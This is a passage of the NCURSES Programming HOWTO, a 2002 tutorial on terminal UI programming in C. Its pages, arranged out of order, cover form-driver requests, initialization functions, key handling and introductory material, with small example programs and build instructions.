                   int vmin, int vmax);   /* valid range */

Valid characters consist of an optional leading minus and digits. possibly including a decimal point. The range check is performed on exit. If the range maximum is less than or equal to the minimum, the range is ignored.

If the value passes its range check, it is padded with as many trailing zero digits as necessary to meet the padding argument.

A TYPE_NUMERIC value buffer can conveniently be interpreted with the C library function atof(3).

TYPE_REGEXP

This field type accepts data matching a regular expression. It is set up as follows:

int set_field_type(FIELD *field,          /* field to alter */
                   TYPE_REGEXP,           /* type to associate */
                   char *regexp);         /* expression to match */

The syntax for regular expressions is that of regcomp(3). The check for regular-expression match is performed on exit.

18.6. Form Driver: The work horse of the forms system

As in the menu system, form_driver() plays a very important role in forms system. All types of requests to forms system should be funneled through form_driver().

int form_driver(FORM *form,     /* form on which to operate     */
                int request)    /* form request code         */

As you have seen some of the examples above, you have to be in a loop looking for user input and then decide whether it's a field data or a form request. The form requests are then passed to form_driver() to do the work.

The requests roughly can be divided into following categories. Different requests and their usage is explained below:

18.6.1. Page Navigation Requests

These requests cause page-level moves through the form, triggering display of a new form screen. A form can be made of multiple pages. If you have a big form with lot of fields and logical sections, then you can divide the form into pages. The function set_new_page() to set a new page at the field specified.

int set_new_page(FIELD *field,/* Field at which page break to be set or unset */
         bool new_page_flag); /* should be TRUE to put a break */

The following requests allow you to move to different pages

  • REQ_NEXT_PAGE Move to the next form page.

  • REQ_PREV_PAGE Move to the previous form page.

  • REQ_FIRST_PAGE Move to the first form page.

  • REQ_LAST_PAGE Move to the last form page.

These requests treat the list as cyclic; that is, REQ_NEXT_PAGE from the last page goes to the first, and REQ_PREV_PAGE from the first page goes to the last.

18.6.2. Inter-Field Navigation Requests

These requests handle navigation between fields on the same page.

  • REQ_NEXT_FIELD Move to next field.

  • REQ_PREV_FIELD Move to previous field.

  • REQ_FIRST_FIELD Move to the first field.

  • REQ_LAST_FIELD Move to the last field.

  • REQ_SNEXT_FIELD Move to sorted next field.

  • REQ_SPREV_FIELD Move to sorted previous field.

  • REQ_SFIRST_FIELD Move to the sorted first field.

  • REQ_SLAST_FIELD Move to the sorted last field.

  • REQ_LEFT_FIELD Move left to field.

  • REQ_RIGHT_FIELD Move right to field.

  • REQ_UP_FIELD Move up to field.

  • REQ_DOWN_FIELD Move down to field.

These requests treat the list of fields on a page as cyclic; that is, REQ_NEXT_FIELD from the last field goes to the first, and REQ_PREV_FIELD from the first field goes to the last. The order of the fields for these (and the REQ_FIRST_FIELD and REQ_LAST_FIELD requests) is simply the order of the field pointers in the form array (as set up by new_form() or set_form_fields()

It is also possible to traverse the fields as if they had been sorted in screen-position order, so the sequence goes left-to-right and top-to-bottom. To do this, use the second group of four sorted-movement requests.

Finally, it is possible to move between fields using visual directions up, down, right, and left. To accomplish this, use the third group of four requests. Note, however, that the position of a form for purposes of these requests is its upper-left corner.

For example, suppose you have a multi-line field B, and two single-line fields A and C on the same line with B, with A to the left of B and C to the right of B. A REQ_MOVE_RIGHT from A will go to B only if A, B, and C all share the same first line; otherwise it will skip over B to C.

18.6.3. Intra-Field Navigation Requests

These requests drive movement of the edit cursor within the currently selected field.

  • REQ_NEXT_CHAR Move to next character.

  • REQ_PREV_CHAR Move to previous character.

  • REQ_NEXT_LINE Move to next line.

  • REQ_PREV_LINE Move to previous line.

  • REQ_NEXT_WORD Move to next word.

  • REQ_PREV_WORD Move to previous word.

  • REQ_BEG_FIELD Move to beginning of field.

  • REQ_END_FIELD Move to end of field.

  • REQ_BEG_LINE Move to beginning of line.

  • REQ_END_LINE Move to end of line.

  • REQ_LEFT_CHAR Move left in field.

  • REQ_RIGHT_CHAR Move right in field.

  • REQ_UP_CHAR Move up in field.

  • REQ_DOWN_CHAR Move down in field.

Each word is separated from the previous and next characters by whitespace. The commands to move to beginning and end of line or field look for the first or last non-pad character in their ranges.

18.6.4. Scrolling Requests

Fields that are dynamic and have grown and fields explicitly created with offscreen rows are scrollable. One-line fields scroll horizontally; multi-line fields scroll vertically. Most scrolling is triggered by editing and intra-field movement (the library scrolls the field to keep the cursor visible). It is possible to explicitly request scrolling with the following requests:

  • REQ_SCR_FLINE Scroll vertically forward a line.

  • REQ_SCR_BLINE Scroll vertically backward a line.

  • REQ_SCR_FPAGE Scroll vertically forward a page.

  • REQ_SCR_BPAGE Scroll vertically backward a page.

  • REQ_SCR_FHPAGE Scroll vertically forward half a page.

  • REQ_SCR_BHPAGE Scroll vertically backward half a page.

  • REQ_SCR_FCHAR Scroll horizontally forward a character.

  • REQ_SCR_BCHAR Scroll horizontally backward a character.

  • REQ_SCR_HFLINE Scroll horizontally one field width forward.

  • REQ_SCR_HBLINE Scroll horizontally one field width backward.

  • REQ_SCR_HFHALF Scroll horizontally one half field width forward.

  • REQ_SCR_HBHALF Scroll horizontally one half field width backward.

For scrolling purposes, a page of a field is the height of its visible part.

18.6.5. Editing Requests

When you pass the forms driver an ASCII character, it is treated as a request to add the character to the field's data buffer. Whether this is an insertion or a replacement depends on the field's edit mode (insertion is the default.

The following requests support editing the field and changing the edit mode:

  • REQ_INS_MODE Set insertion mode.

  • REQ_OVL_MODE Set overlay mode.

  • REQ_NEW_LINE New line request (see below for explanation).

  • REQ_INS_CHAR Insert space at character location.

  • REQ_INS_LINE Insert blank line at character location.

  • REQ_DEL_CHAR Delete character at cursor.

  • REQ_DEL_PREV Delete previous word at cursor.

  • REQ_DEL_LINE Delete line at cursor.

  • REQ_DEL_WORD Delete word at cursor.

  • REQ_CLR_EOL Clear to end of line.

  • REQ_CLR_EOF Clear to end of field.

  • REQ_CLEAR_FIELD Clear entire field.

The behavior of the REQ_NEW_LINE and REQ_DEL_PREV requests is complicated and partly controlled by a pair of forms options. The special cases are triggered when the cursor is at the beginning of a field, or on the last line of the field.

First, we consider REQ_NEW_LINE:

The normal behavior of REQ_NEW_LINE in insert mode is to break the current line at the position of the edit cursor, inserting the portion of the current line after the cursor as a new line following the current and moving the cursor to the beginning of that new line (you may think of this as inserting a newline in the field buffer).

The normal behavior of REQ_NEW_LINE in overlay mode is to clear the current line from the position of the edit cursor to end of line. The cursor is then moved to the beginning of the next line.

However, REQ_NEW_LINE at the beginning of a field, or on the last line of a field, instead does a REQ_NEXT_FIELD. O_NL_OVERLOAD option is off, this special action is disabled.

Now, let us consider REQ_DEL_PREV:

The normal behavior of REQ_DEL_PREV is to delete the previous character. If insert mode is on, and the cursor is at the start of a line, and the text on that line will fit on the previous one, it instead appends the contents of the current line to the previous one and deletes the current line (you may think of this as deleting a newline from the field buffer).

However, REQ_DEL_PREV at the beginning of a field is instead treated as a REQ_PREV_FIELD.

If the O_BS_OVERLOAD option is off, this special action is disabled and the forms driver just returns E_REQUEST_DENIED.

18.6.6. Order Requests

If the type of your field is ordered, and has associated functions for getting the next and previous values of the type from a given value, there are requests that can fetch that value into the field buffer:

  • REQ_NEXT_CHOICE Place the successor value of the current value in the buffer.

  • REQ_PREV_CHOICE Place the predecessor value of the current value in the buffer.

Of the built-in field types, only TYPE_ENUM has built-in successor and predecessor functions. When you define a field type of your own (see Custom Validation Types), you can associate our own ordering functions.

18.6.7. Application Commands

Form requests are represented as integers above the curses value greater than KEY_MAX and less than or equal to the constant MAX_COMMAND. A value within this range gets ignored by form_driver(). So this can be used for any purpose by the application. It can be treated as an application specific action and take corresponding action.

Prev | Home | Next
Menus Library |  | Tools and Widget Libraries


The Gory Details

NCURSES Programming HOWTO
Prev Next

3. The Gory Details

Now that we have seen how to write a simple curses program let's get into the details. There are many functions that help customize what you see on screen and many features which can be put to full use.

Here we go...

Prev | Home | Next
The Hello World Program |  | Initialization


The Hello World Program

NCURSES Programming HOWTO
Prev Next

2. The Hello World Program

Welcome to the world of curses. Before we plunge into the library and look into its various features, bells and whistles, let's write a simple program and say hello to the world.

2.1. Compiling With the Ncurses Library

To use ncurses library functions, you have to include ncurses.h and to link the program with ncurses library the flag -lncurses should be added. ncurses.h already includes stdio.h.

    #include <ncurses.h>
    .
    .
    .

    compile and link: gcc <program file> -lncurses

Example 1. The Hello World !!! Program

/* File Path: basics/hello_world.c */
#include <ncurses.h>

int main()
{
    initscr();			/* Start curses mode 		  */
    printw("Hello World !!!");	/* Print Hello World		  */
    refresh();			/* Print it on to the real screen */
    endwin();			/* End curses mode		  */

    return 0;
}

2.2. Dissection

The above program prints "Hello World !!!" to the screen and exits. This program shows how to initialize curses and do screen manipulation and end curses mode. Let's dissect it line by line.

2.2.1. About initscr()

The function initscr() initializes the terminal in curses mode. In some implementations it clears the screen and presents a blank screen. To do any screen manipulation using curses package this has to be called first. This function initializes the curses system and allocates memory for our present window which is called 'stdscr' and some other data-structures. Under extreme cases this function might fail due to insufficient memory to allocate memory for curses library's data structures.

After this is done we can do a variety of initializations to customize our curses settings. These details will be explained later .

2.2.2. The mysterious refresh()

The next line printw prints the string "Hello World !!!" on to the screen. This function is analogous to normal printf in all respects except that it prints the data in a window called stdscr at the current (y,x) co-ordinates. Since our present co-ordinates are at 0,0 the string is printed at the left hand corner of the window.

This brings us to that mysterious refresh(). Well, when we did printw actually the data is written to an imaginary window called stdscr, which is not updated on the screen yet. The job of printw is to update a few flags and data structures and write the data to a buffer corresponding to stdscr. In order to bring it to the screen we need to call refresh() and tell the curses system to dump the contents on the screen.

The philosophy behind all this is to allow the programmer to do multiple updates on the imaginary screen or windows and do a refresh once all his screen update is done. refresh() checks the window and updates only the portion which has been changed. This gives good response and offers greater flexibility too. But it is sometimes frustrating to beginners. A common mistake committed by beginners is to forget to call refresh() after they did some update through printw() class of functions. I still forget to add it sometimes :-)

2.2.3. About endwin()

And finally don't forget to end the curses mode. Otherwise your terminal might behave strangely after the program quits. endwin() frees the memory taken by curses sub-system and it's data structures and puts the terminal in normal mode. This function must be called after you are done with the curses mode.

Prev | Home | Next
Introduction |  | The Gory Details


NCURSES Programming HOWTO

Pradeep Padala

p_padala@yahoo.com

v1.6.1, 2002-02-24

Revision History
Revision 1.6.1 | 2002-02-24 | Revised by: ppadala
Removed the old Changelog section, cleaned the makefiles
Revision 1.6 | 2002-02-16 | Revised by: ppadala
Corrected lot of spelling mistakes, added ACS variables section
Revision 1.5 | 2002-01-05 | Revised by: ppadala
Changed structure to present proper TOC
Revision 1.3.1 | 2001-07-26 | Revised by: ppadala
Corrected maintainers paragraph, Corrected stable release number
Revision 1.3 | 2001-07-24 | Revised by: ppadala
Added copyright notice(LDP license) to main document, Put copyright notice (GPL) for programs as well, Corrected printw_example.
Revision 1.2 | 2001-06-05 | Revised by: ppadala
Incorporated ravi's changes. Mainly to introduction, menu, form, justforfun sections
Revision 1.1 | 2001-05-22 | Revised by: ppadala
Added "a word about window" section, Added scanw_example.

This document is intended to be an "All in One" guide for programming with ncurses and its sister libraries. We graduate from a simple "Hello World" program to more complex form manipulation. No prior experience in ncurses is assumed. Latest version of the document can always be found at my web site. Send comments to this address

Table of Contents
1. Introduction
1.1. What is NCURSES?
1.2. What we can do with NCURSES
1.3. Where to get it
1.4. Purpose/Scope of the document
1.5. About the Programs
1.6. Credits
1.7. Wish List
1.8. Copyright
2. The Hello World Program
2.1. Compiling With the Ncurses Library
2.2. Dissection
3. The Gory Details
4. Initialization
4.1. About Initialization functions like raw() etc...
4.2. raw() and cbreak()
4.3. echo() and noecho()
4.4. keypad()
4.5. halfdelay()
4.6. Miscellaneous Initialization functions
4.7. An Example
5. A Word about Windows
6. About output functions like printw()
6.1. addch() class of functions
6.2. mvaddch(), waddch() and mvwaddch()
6.3. printw() class of functions
6.4. addstr() class of functions
6.5. A word of caution
7. About input functions like scanw()
7.1. getch() class of functions
7.2. scanw() class of functions
7.3. getstr() class of functions
7.4. Some examples
8. Attributes
8.1. The details
8.2. attron() vs attrset()
8.3. attr_get()
8.4. attr_ functions
8.5. wattr functions
8.6. chgat() functions
9. All about window functions
9.1. The basics
9.2. Let there be a Window !!!
9.3. Explanation
9.4. The other stuff in the example
9.5. Other Border functions
10. All about color
10.1. The basics
10.2. Changing Color Definitions
10.3. Color Content
11. Key management. How to read function keys, arrow keys etc..
11.1. The Basics
11.2. A Simple Key Usage example
12. Interfacing with the mouse
12.1. The Basics
12.2. Getting the events
12.3. Putting it all Together
12.4. Miscellaneous Functions
13. Screen Manipulation
13.1. getyx() functions
13.2. Screen Dumping
13.3. Window Dumping
14. Miscellaneous features
14.1. curs_set()
14.2. Temporarily Leaving Curses mode
14.3. ACS_ variables
15. Other libraries
16. Panel Library
16.1. The Basics
16.2. Compiling With the Panels Library
16.3. Panel Window Browsing
16.4. Using User Pointers
16.5. Moving and Resizing Panels
16.6. Hiding and Showing Panels
16.7. panel_above() and panel_below() Functions
17. Menus Library
17.1. The Basics
17.2. Compiling With the Menu Library
17.3. Menu Driver: The work horse of the menu system
17.4. Menu Windows
17.5. Scrolling Menus
17.6. Multi Columnar Menus
17.7. Multi Valued Menus
17.8. Menu Options
17.9. The useful User Pointer
18. Forms Library
18.1. The Basics
18.2. Compiling With the Forms Library
18.3. Playing with Fields
18.4. Form Windows
18.5. Field Validation
18.6. Form Driver: The work horse of the forms system
19. Tools and Widget Libraries
19.1. CDK (Curses Development Kit)
19.2. The dialog
19.3. Perl Curses Modules CURSES::FORM and CURSES::WIDGETS
20. Just For Fun !!!
20.1. The Game of Life
20.2. Magic Square
20.3. Towers of Hanoi
20.4. Queens Puzzle
20.5. Shuffle
20.6. Typing Tutor
Next
Introduction


Initialization

NCURSES Programming HOWTO
Prev Next

4. Initialization

We now know that to initialize curses system the function initscr() has to be called. There are functions which can be called after this initialization to customize our curses session. We may ask the curses system to set the terminal in raw mode or initialize color or initialize the mouse etc.. Let's discuss some of the functions that are normally called immediately after initscr();

4.1. About Initialization functions like raw() etc...

4.2. raw() and cbreak()

Normally the terminal driver buffers the characters a user types until a new line or carriage return is encountered. But most programs require that the characters be available as soon as the user types them. The above two functions are used to disable line buffering. The difference between these two functions is in the way control characters like suspend (CTRL-Z), interrupt and quit (CTRL-C) are passed to the program. In the raw() mode these characters are directly passed to the program without generating a signal. In the cbreak() mode these control characters are interpreted as any other character by the terminal driver. I personally prefer to use raw() as I can exercise greater control over what the user does.

4.3. echo() and noecho()

These functions control the echoing of characters typed by the user to the terminal. noecho() switches off echoing. The reason you might want to do this is to gain more control over echoing or to suppress unnecessary echoing while taking input from the user through the getch() etc. functions. Most of the interactive programs call noecho() at initialization and do the echoing of characters in a controlled manner. It gives the programmer the flexibility of echoing characters at any place in the window without updating current (y,x) co-ordinates.

4.4. keypad()

This is my favorite initialization function. It enables the reading of function keys like F1, F2, arrow keys etc. Almost every interactive program enables this, as arrow keys are a major part of any User Interface. Do keypad(stdscr, TRUE) to enable this feature for the regular screen (stdscr). You will learn more about key management in later sections of this document.

4.5. halfdelay()

This function, though not used very often, is a useful one at times. halfdelay()is called to enable the half-delay mode, which is similar to the cbreak() mode in that characters typed are immediately available to program. However, it waits for 'X' tenths of a second for input and then returns ERR, if no input is available. 'X' is the timeout value passed to the function halfdelay(). This function is useful when you want to ask the user for input, and if he doesn't respond with in certain time, we can do some thing else. One possible example is a timeout at the password prompt.

4.6. Miscellaneous Initialization functions

There are few more functions which are called at initialization to customize curses behavior. They are not used as extensively as those mentioned above. Some of them are explained where appropriate.

4.7. An Example

Let's write a program which will clarify the usage of these functions.

Example 2. Initialization Function Usage example

/* File path: basics/init_func_example.c */
#include <ncurses.h>

int main()
{    int ch;

    initscr();            /* Start curses mode         */
    raw();                /* Line buffering disabled    */
    keypad(stdscr, TRUE); /* We get F1, F2 etc..        */
    noecho();             /* Don't echo() while we do getch */

    ch = getch();           /* If raw() hadn't been called
                             * we have to press enter before it
                             * gets to the program         */
    if(ch == KEY_F(1))      /* Without keypad enabled this will */
        printw("F1 Key pressed");/*  not get to us either    */
                    /* Without noecho() some ugly escape
                     * characters might have been printed
                     * on screen            */
    else
    {   printw("The pressed key is ");
        attron(A_BOLD);
        printw("%c", ch);
        attroff(A_BOLD);
    }
    refresh();           /* Print it on to the real screen */
    endwin();            /* End curses mode          */

    return 0;
}

This program is self-explanatory. But I used functions which aren't explained yet. The function getch() is used to get a character from user. It is equivalent to normal getchar() except that we can disable the line buffering to avoid <enter> after input. Look for more about getch()and reading keys in the key management section . The functions attron and attroff are used to switch some attributes on and off respectively. In the example I used them to print the character in bold. These functions are explained in detail later.

Prev | Home | Next
The Gory Details |  | A Word about Windows


Introduction

NCURSES Programming HOWTO
Prev Next

1. Introduction

In the olden days of teletype terminals, terminals were away from computers and were connected to them through serial cables. The terminals could be configured by sending a series of bytes to each of them. All the capabilities (such as moving the cursor to a new location, erasing part of the screen, scrolling the screen, changing modes, changing appearance, colors, brightness, blinking, underlining, reverse video etc.) of terminals could be accessed through these series of bytes which are usually called escape sequences because they start with an escape(0x1B) character. Even today, with proper emulation, we can send escape sequences to the emulator and achieve the same effect on the terminal window.

Suppose you wanted to print a line in color. Try typing this on your console.

echo "^[[0;31;40mIn Color"

The first character is an escape character, which looks like two characters ^ and [. To be able to print that you have to press CTRL+V and then the ESC key. All the others are normal printable characters. You should be able to see the string "In Color" in red. It stays that way and to revert back to the original mode type this.

echo "^[[0;37;40m"

Now, what do those magic characters mean? Difficult to comprehend? They might even be different for different terminals. So the designers of UNIX invented a mechanism named termcap. It is a file that lists all the capabilities of a particular terminal, along with the escape sequences needed to achieve a particular effect. In the later years, this was replaced by terminfo. Without delving too much into details, the concept of the mechanism is to allow application programs query the terminfo database and obtain the control characters to be sent to the terminal or terminal emulator.

1.1. What is NCURSES?

You might be wondering, what the import of all this technical gibberish is. In the above scenario, every application program is supposed to query the terminfo and do the necessary stuff(sending control characters etc.). It soon became difficult to manage this complexity and this gave birth to 'CURSES'. Curses is a pun on the name "cursor optimization". The Curses library forms a wrapper over working with raw terminal codes, and provides highly flexible and efficient API (Application Programming Interface). It provides functions to move the cursor, create windows, produce colors, play with mouse etc. The Application programs need not worry about the underlying terminal capabilities.

So what is NCURSES? NCURSES is a clone of the original System V Release 4.0 (SVr4) curses. It is a freely distributable library, fully compatible with older version of curses. In short, it is a library of functions that manages an application's display on character-cell terminals. In the remainder of the document, the terms curses and ncurses are used interchangeably.

The ncurses package was originated by Pavel Curtis. The original maintainer of this package is Zeyd Ben-Halim <zmbenhal@netcom.com>. Eric S. Raymond <esr@snark.thyrsus.com> wrote many of the new features in versions after 1.8.1. Jürgen Pfeifer wrote all of the menu and forms code as well as the Ada95 binding. Ongoing work is being done by Thomas Dickey and Jürgen Pfeifer. Florian La Roche acts as the maintainer for the Free Software Foundation, which holds the copyright on ncurses. Contact the current maintainers at bug-ncurses@gnu.org.

1.2. What we can do with NCURSES

Ncurses not only creates a wrapper over terminal capabilities, but also gives a robust framework to create nice looking UI (User Interface)s in text mode. It provides functions to create windows etc. Its sister libraries panel, menu and form provide an extension to the basic curses library. These libraries usually come along with curses. One can create applications that contain multiple windows, menus, panels and forms. Windows can be managed independently, can provide 'scrollability' and even can be hidden.

Menus provide the user with an easy command selection option. Forms allow the creation of easy-to-use data entry and display windows. Panels extend the capabilities of ncurses to deal with overlapping and stacked windows.

These are just some of the basic things we can do with ncurses. As we move along, We will see all the capabilities of these libraries.

1.3. Where to get it

All right, now that you know what you can do with ncurses, you must be rearing to get started. Ncurses is usually shipped with your installation. In case you don't have the library or want to compile it on your own, read on.

Compiling the package

Ncurses can be obtained from ftp://ftp.gnu.org/pub/gnu/ncurses/ncurses.tar.gz or any of the ftp sites mentioned in http://www.gnu.org/order/ftp.html. The latest stable release is 5.2 20001021.

Read the README and INSTALL files for details on to how to install it. It usually involves the following operations.

    tar zxvf ncurses<version>.tar.gz  # unzip and untar the archive
    cd ncurses<version>               # cd to the directory
    ./configure                             # configure the build according to your
                                            # environment
    make                                    # make it
    su root                                 # become root
    make install                            # install it

Using the RPM

Ncurses RPM can be found and downloaded from http://rpmfind.net . The RPM can be installed with the following command after becoming root.

    rpm -i <downloaded rpm>

1.4. Purpose/Scope of the document

This document is intended to be a "All in One" guide for programming with ncurses and its sister libraries. We graduate from a simple "Hello World" program to more complex form manipulation. No prior experience in ncurses is assumed.

1.5. About the Programs

All the programs in the document are available in zipped form here. Unzip and untar it. The directory structure looks like this.

ncurses
   |
   |----> JustForFun     -- just for fun programs
   |----> basics         -- basic programs
   |----> demo           -- output files go into this directory after make
   |          |
   |          |----> exe -- exe files of all example programs
   |----> forms          -- programs related to form library
   |----> menus          -- programs related to menus library
   |----> panels         -- programs related to panels library
   |----> Makefile       -- the top level Makefile
   |----> README         -- the top level README file. contains instructions
   |----> COPYING        -- copyright notice

The individual directories contain the following files.

Description of files in each directory
--------------------------------------
JustForFun
    |
    |----> hanoi.c   -- The Towers of Hanoi Solver
    |----> life.c    -- The Game of Life demo
    |----> magic.c   -- An Odd Order Magic Square builder
    |----> queens.c  -- The famous N-Queens Solver
    |----> shuffle.c -- A fun game, if you have time to kill
    |----> tt.c      -- A very trivial typing tutor

  basics
    |
    |----> acs_vars.c            -- ACS_ variables example
    |----> hello_world.c         -- Simple "Hello World" Program
    |----> init_func_example.c   -- Initialization functions example
    |----> key_code.c            -- Shows the scan code of the key pressed
    |----> mouse_menu.c          -- A menu accessible by mouse
    |----> other_border.c        -- Shows usage of other border functions apa
    |                               -- rt from box()
    |----> printw_example.c      -- A very simple printw() example
    |----> scanw_example.c       -- A very simple getstr() example
    |----> simple_attr.c         -- A program that can print a c file with
    |                               -- comments in attribute
    |----> simple_color.c        -- A simple example demonstrating colors
    |----> simple_key.c          -- A menu accessible with keyboard UP, DOWN
    |                               -- arrows
    |----> temp_leave.c          -- Demonstrates temporarily leaving curses mode
    |----> win_border.c          -- Shows Creation of windows and borders
    |----> with_chgat.c          -- chgat() usage example

  forms
    |
    |----> form_attrib.c     -- Usage of field attributes
    |----> form_options.c    -- Usage of field options
    |----> form_simple.c     -- A simple form example
    |----> form_win.c        -- Demo of windows associated with forms

  menus
    |
    |----> menu_attrib.c     -- Usage of menu attributes
    |----> menu_item_data.c  -- Usage of item_name() etc.. functions
    |----> menu_multi_column.c    -- Creates multi columnar menus
    |----> menu_scroll.c     -- Demonstrates scrolling capability of menus
    |----> menu_simple.c     -- A simple menu accessed by arrow keys
    |----> menu_toggle.c     -- Creates multi valued menus and explains
    |                           -- REQ_TOGGLE_ITEM
    |----> menu_userptr.c    -- Usage of user pointer
    |----> menu_win.c        -- Demo of windows associated with menus

  panels
    |
    |----> panel_browse.c    -- Panel browsing through tab. Usage of user
    |                           -- pointer
    |----> panel_hide.c      -- Hiding and Un hiding of panels
    |----> panel_resize.c    -- Moving and resizing of panels
    |----> panel_simple.c    -- A simple panel example

There is a top level Makefile included in the main directory. It builds all the files and puts the ready-to-use exes in demo/exe directory. You can also do selective make by going into the corresponding directory. Each directory contains a README file explaining the purpose of each c file in the directory.

For every example I have given the path name for the file relative to the ncurses directory.

If you prefer you can browse individual programs at

All the programs are released under GPL and you can use them for any thing you like.

1.6. Credits

I thank Sharath and Emre Akbas for helping me with few sections. The introduction was initially written by sharath. I rewrote it with few excerpts taken from his initial work. Emre helped in writing printw and scanw sections.

Then comes Ravi Parimi, my dearest friend, who has been on this project before even one line was written. He constantly bombarded me with suggestions and patiently reviewed the whole text. He also checked each program on Linux and Solaris. See his notes to check on your problems.

1.7. Wish List

This is the wish list, in the order of priority. If you have a wish or you want to work on completing the wish, mail me.

  • Add examples to last parts of forms section. (I am working on it)

  • Prepare a Demo showing all the programs and allow the user to browse through description of each program. Let the user compile and see the program in action. A dialog based interface is preferred. (My friend N.N.Ashok is working on it)

  • Add debug info. _tracef, _tracemouse stuff.

  • Accessing termcap, terminfo using functions provided by ncurses package.

  • Working on two terminals simultaneously.

  • Add things in miscellaneous section.

1.8. Copyright

Copyright (c) 2001 by Pradeep Padala. This document may be distributed under the terms set forth in the LDP license at linuxdoc.org/COPYRIGHT.html.

This HOWTO is free documentation; you can redistribute it and/or modify it under the terms of the LDP license. This document is distributed in the hope that it will be useful, but without any warranty; without even the implied warranty of merchantability or fitness for a particular purpose. See the LDP license for more details.

Prev | Home | Next
NCURSES Programming HOWTO |  | The Hello World Program


Just For Fun !!!

NCURSES Programming HOWTO
Prev

20. Just For Fun !!!

This section contains few programs written by me just for fun. They don't signify a better programming practice or the best way of using ncurses. They are provided here so as to allow beginners to get ideas and add more programs to this section. If you have written a couple of nice, simple programs in curses and want them to included here, contact me.

20.1. The Game of Life

Game of life is a wonder of math. In Paul Callahan's words

The Game of Life (or simply Life) is not a game in the conventional sense. There
are no players, and no winning or losing. Once the "pieces" are placed in the
starting position, the rules determine everything that happens later.
Nevertheless, Life is full of surprises! In most cases, it is impossible to look
at a starting position (or pattern) and see what will happen in the future. The
only way to find out is to follow the rules of the game.

This program starts with a simple inverted U pattern and shows how wonderful life works. There is a lot of room for improvement in the program. You can let the user enter pattern of his choice or even take input from a file. You can also change rules and play with a lot of variations. Search on google for interesting information on game of life.

File Path: JustForFun/life.c

20.2. Magic Square

Magic Square, another wonder of math, is very simple to understand but very difficult to make. In a magic square sum of the numbers in each row, each column is equal. Even diagnol sum can be equal. There are many variations which have special properties.

This program creates a simple magic square of odd order.

File Path: JustForFun/magic.c

20.3. Towers of Hanoi

The famous towers of hanoi solver. The aim of the game is to move the disks on the first peg to last peg, using middle peg as a temporary stay. The catch is not to place a larger disk over a small disk at any time.

File Path: JustForFun/hanoi.c

20.4. Queens Puzzle

The objective of the famous N-Queen puzzle is to put N queens on a N X N chess board without attacking each other.

This program solves it with a simple backtracking technique.

File Path: JustForFun/queens.c

20.5. Shuffle

A fun game, if you have time to kill.

File Path: JustForFun/shuffle.c

20.6. Typing Tutor

A simple typing tutor, I created more out of need than for ease of use. If you know how to put your fingers correctly on the keyboard, but lack practice, this can be helpful.

File Path: JustForFun/tt.c

Prev | Home
Tools and Widget Libraries |


Key management. How to read function keys, arrow keys etc..

NCURSES Programming HOWTO
Prev Next

11. Key management. How to read function keys, arrow keys etc..

11.1. The Basics

No GUI is complete without a strong user interface and to interact with the user, a curses program should be sensitive to key presses or the mouse actions done by the user. Let's deal with the keys first.

As you have seen in almost all of the above examples, it's very easy to get key input from the user. A simple way of getting key presses is to use getch() function. The cbreak mode should be enabled to read keys when you are interested in reading individual key hits rather than complete lines of text (which usually end with a carriage return). keypad should be enabled to get the Functions keys, arrow keys etc. See the initialization section for details.

getch() returns an integer corresponding to the key pressed. If it is a normal character, the integer value will be equivalent to the character. Otherwise it returns a number which can be matched with the constants defined in curses.h. For example if the user presses F1, the integer returned is 265. This can be checked using the macro KEY_F() defined in curses.h. This makes reading keys portable and easy to manage.

For example, if you call getch() like this

    int ch;

    ch = getch();

getch() will wait for the user to press a key, (unless you specified a timeout) and when user presses a key, the corresponding integer is returned. Then you can check the value returned with the constants defined in curses.h to match against the keys you want.

The following code piece will do that job.

    if(ch == KEY_LEFT)
        printw("Left arrow is pressed\n");

Let's write a small program which creates a menu which can be navigated by up and down arrows.

11.2. A Simple Key Usage example

Example 10. A Simple Key Usage example

/* File path: basics/simple_key.c */
#include <stdio.h>
#include <ncurses.h>

#define WIDTH 30
#define HEIGHT 10

int startx = 0;
int starty = 0;

char *choices[] = {
            "Choice 1",
            "Choice 2",
            "Choice 3",
            "Choice 4",
            "Exit",
          };
int n_choices = sizeof(choices) / sizeof(char *);
void print_menu(WINDOW *menu_win, int highlight);

int main()
{    WINDOW *menu_win;
    int highlight = 1;
    int choice = 0;
    int c;

    initscr();
    clear();
    noecho();
    cbreak();    /* Line buffering disabled. pass on everything */
    startx = (80 - WIDTH) / 2;
    starty = (24 - HEIGHT) / 2;

    menu_win = newwin(HEIGHT, WIDTH, starty, startx);
    keypad(menu_win, TRUE);
    mvprintw(0, 0, "Use arrow keys to go up and down, Press enter to select a choice");
    refresh();
    print_menu(menu_win, highlight);
    while(1)
    {    c = wgetch(menu_win);
        switch(c)
        {    case KEY_UP:
                if(highlight == 1)
                    highlight = n_choices;
                else
                    --highlight;
                break;
            case KEY_DOWN:
                if(highlight == n_choices)
                    highlight = 1;
                else
                    ++highlight;
                break;
            case 10:
                choice = highlight;
                break;
            default:
                mvprintw(24, 0, "Character pressed is = %3d Hopefully it can be printed as '%c'", c, c);
                refresh();
                break;
        }
        print_menu(menu_win, highlight);
        if(choice != 0)    /* User did a choice come out of the infinite loop */
            break;
    }
    mvprintw(23, 0, "You chose choice %d with choice string %s\n", choice, choices[choice - 1]);
    clrtoeol();
    refresh();
    endwin();
    return 0;
}

void print_menu(WINDOW *menu_win, int highlight)
{
    int x, y, i;

    x = 2;
    y = 2;
    box(menu_win, 0, 0);
    for(i = 0; i < n_choices; ++i)
    {   if(highlight == i + 1) /* High light the present choice */
        {    wattron(menu_win, A_REVERSE);
            mvwprintw(menu_win, y, x, "%s", choices[i]);
            wattroff(menu_win, A_REVERSE);
        }
        else
            mvwprintw(menu_win, y, x, "%s", choices[i]);
        ++y;
    }
    wrefresh(menu_win);
}

Prev | Home | Next
All about color |  | Interfacing with the mouse


Menus Library

NCURSES Programming HOWTO
Prev Next

17. Menus Library

The menus library provides a nice extension to basic curses, through which you can create menus. It provides a set of functions to create menus. But they have to be customized to give a nicer look, with colors etc. Let's get into the details.

A menu is a screen display that assists the user to choose some subset of a given set of items. To put it simple, a menu is a collection of items from which one or more items can be chosen. Some readers might not be aware of multiple item selection capability. Menu library provides functionality to write menus from which the user can chose more than one item as the preferred choice. This is dealt with in a later section. Now it is time for some rudiments.

17.1. The Basics

To create menus, you first create items, and then post the menu to the display. After that, all the processing of user responses is done in an elegant function menu_driver() which is the work horse of any menu program.

The general flow of control of a menu program looks like this.

  1. Initialize curses

  2. Create items using new_item(). You can specify a name and description for the items.

  3. Create the menu with new_menu() by specifying the items to be attached with.

  4. Post the menu with menu_post() and refresh the screen.

  5. Process the user requests with a loop and do necessary updates to menu with menu_driver.

  6. Unpost the menu with menu_unpost()

